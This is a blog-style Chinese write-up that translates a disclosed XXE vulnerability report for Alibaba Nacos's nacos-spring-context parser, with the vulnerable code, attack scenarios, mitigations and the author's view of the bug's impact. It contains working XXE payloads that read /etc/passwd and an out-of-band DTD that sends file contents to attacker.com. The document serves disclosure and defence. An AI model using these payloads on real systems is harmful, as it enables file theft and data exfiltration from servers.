事件起因

我在github上闲逛时了这样一个仓库:https://github.com/zast-ai/vulnerability-reports

这个仓库主要记录作者在安全研究过程中提交的漏洞报告,其中有一栏内容引起了我的兴趣。这一栏展示了作者成功提交漏洞并获得赏金的记录,这说明这些漏洞不仅是理论层面的分析,而是被厂商认可并实际修复的问题。

他发现了一个 Nacos 组件中的安全漏洞,并因此获得了赏金。出于对该漏洞本身以及其发掘过程的兴趣,我进一步阅读了作者提交的原始漏洞报告,并对报告内容进行了完整梳理和理解。

报告翻译

Alibaba Nacos XXE 漏洞分析

漏洞概述

漏洞类型:XML 外部实体注入
受影响组件:com.alibaba.nacos:nacos-spring-context
受影响版本:2.1.1 及之前版本
漏洞等级:高
CVE 编号:待分配

漏洞详情

在 Alibaba Nacos 的 nacos-spring-context 组件中存在一个 XML 外部实体注入漏洞。该漏洞位于 com.alibaba.nacos.spring.util.parse.DefaultXmlConfigParse 类中,该类负责解析 XML 格式的配置文件。由于在实例化 DocumentBuilderFactory 之后未进行任何安全相关的配置,外部实体处理功能未被禁用,攻击者可以通过构造恶意的 XML 内容来触发 XXE 攻击。

漏洞代码分析

漏洞代码位于 DefaultXmlConfigParse 类的 parse 方法中:

private DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

@Override
public Map<String, Object> parse(String configText) {
    Map<String, Object> properties = new LinkedHashMap<String, Object>(8);
    try {
        Document document = factory.newDocumentBuilder()
                .parse(new ByteArrayInputStream(configText.getBytes("UTF-8")));
        Element root = document.getDocumentElement();
        Map<String, Object> map = new LinkedHashMap<String, Object>(8);
        recursionXmlToMap(map, root);
        mapToProperties("", properties, map);
    }
    catch (Exception e) {
        throw new ConfigParseException(e);
    }
    return properties;
}

问题在于 DocumentBuilderFactory 的实例化过程中未进行任何安全配置,尤其是没有禁用外部实体解析功能。

真实世界中的利用场景

一、Nacos 配置中心场景

Nacos 作为配置中心,允许用户存储和管理 XML 格式的配置。在实际使用中,当开发人员或运维人员通过 Nacos 控制台或 API 上传 XML 配置时,如果未对 XML 内容进行严格的校验,攻击者就可能上传包含恶意 DTD 的 XML 配置。

当应用从 Nacos 中拉取这些配置,并通过 ConfigParseUtils.toProperties 方法进行解析时,就会触发 XXE 漏洞。

具体场景如下:

攻击者获取了 Nacos 控制台的访问权限,这可能是由于弱口令或其他漏洞导致
攻击者上传包含 XXE 载荷的 XML 配置
使用 Nacos 的应用拉取并解析该配置
XXE 漏洞被触发,可能导致服务器文件读取或 SSRF 攻击

二、Spring Cloud 配置集成场景

许多企业将 Nacos 与 Spring Cloud 集成,作为分布式系统中的配置中心。在该场景下:

微服务在启动时会从 Nacos 拉取 XML 格式的配置
如果这些配置中包含恶意的 XXE 载荷
当 Spring 应用使用 nacos-spring-context 解析这些配置时
漏洞会在所有连接到 Nacos 的微服务中被触发

这可能导致大规模的安全事件,因为单个恶意配置就可能影响整个微服务集群。

三、API 接口 XML 处理场景

许多应用提供接收 XML 格式数据的 API 接口,并使用 Nacos 组件来处理这些数据:

攻击者向应用的 API 发送包含 XXE 载荷的 XML 数据
应用使用 nacos-spring-context 中的解析工具来处理该 XML 数据
XXE 漏洞被触发,可能导致服务器敏感信息泄露

四、配置导入功能场景

一些使用 Nacos 的应用提供了配置导入功能,允许用户上传 XML 格式的配置文件:

攻击者构造一个恶意的 XML 配置文件
该文件通过配置导入功能被上传
应用使用 DefaultXmlConfigParse 来解析该配置
XXE 漏洞被触发

真实攻击示例

在 Nacos 配置中心场景中,攻击者可能上传如下配置:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<xmlSign>
    <Students>
        <Student>
            <Name>&xxe;</Name>
            <Num>1006010022</Num>
            <Classes>major-1</Classes>
        </Student>
    </Students>
</xmlSign>

当应用从 Nacos 中拉取并解析该配置时,服务器上的 /etc/passwd 文件内容会被读取,并包含在解析结果中。攻击者可能通过日志、错误信息或正常的应用输出获取这些内容。

在更复杂的攻击场景中,攻击者可以使用带外通道技术将数据泄露到外部服务器:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<xmlSign>
    <Students>
        <Student>
            <Name>test</Name>
        </Student>
    </Students>
</xmlSign>

其中 evil.dtd 的内容如下:

<!ENTITY % file SYSTEM "file:///path/to/sensitive/config">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

这种攻击方式可以绕过部分防御措施,因为敏感数据会通过 HTTP 请求发送到攻击者控制的服务器。

防护建议

针对 Nacos 管理员:

升级到官方发布的修复版本
限制 Nacos 控制台的访问权限
对上传的 XML 配置内容进行校验,过滤 DOCTYPE 声明

针对开发人员:

在使用 nacos-spring-context 时添加如下 JVM 参数:

-DentityExpansionLimit=0
-Djdk.xml.entityExpansionLimit=0

同时可以在应用层实现安全的 XML 解析封装,例如:

public static Document parseXmlSafely(String xml) throws Exception {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    dbf.setXIncludeAware(false);
    dbf.setExpandEntityReferences(false);
    return dbf.newDocumentBuilder().parse(new ByteArrayInputStream(xml.getBytes()));
}

影响范围

在以下场景中使用 com.alibaba.nacos:nacos-spring-context 的应用可能受到影响:

使用 Nacos 作为配置中心并处理 XML 格式配置的应用
与 Spring Cloud 集成并从 Nacos 拉取配置的微服务
提供 XML 数据处理 API 并使用 Nacos 组件的 Web 应用
允许用户上传或导入 XML 配置的系统

漏洞评价

最后是我对这个漏洞的评价:

感觉这个漏洞属于那种研究价值大于实际价值的,首先他要配置XML就要先拿到nacos的后台,其次这个组件也只有nacos使用。感觉能拿到nacos的后台权限的话,随便泄漏点数据都比这个XXE致命了。值得一提的是,2025年底的那个 Struts2 的XXE似乎也是他发现的。

参考链接:https://github.com/zast-ai/vulnerability-reports/blob/main/Alibaba/nacos-spring-context/XXE.md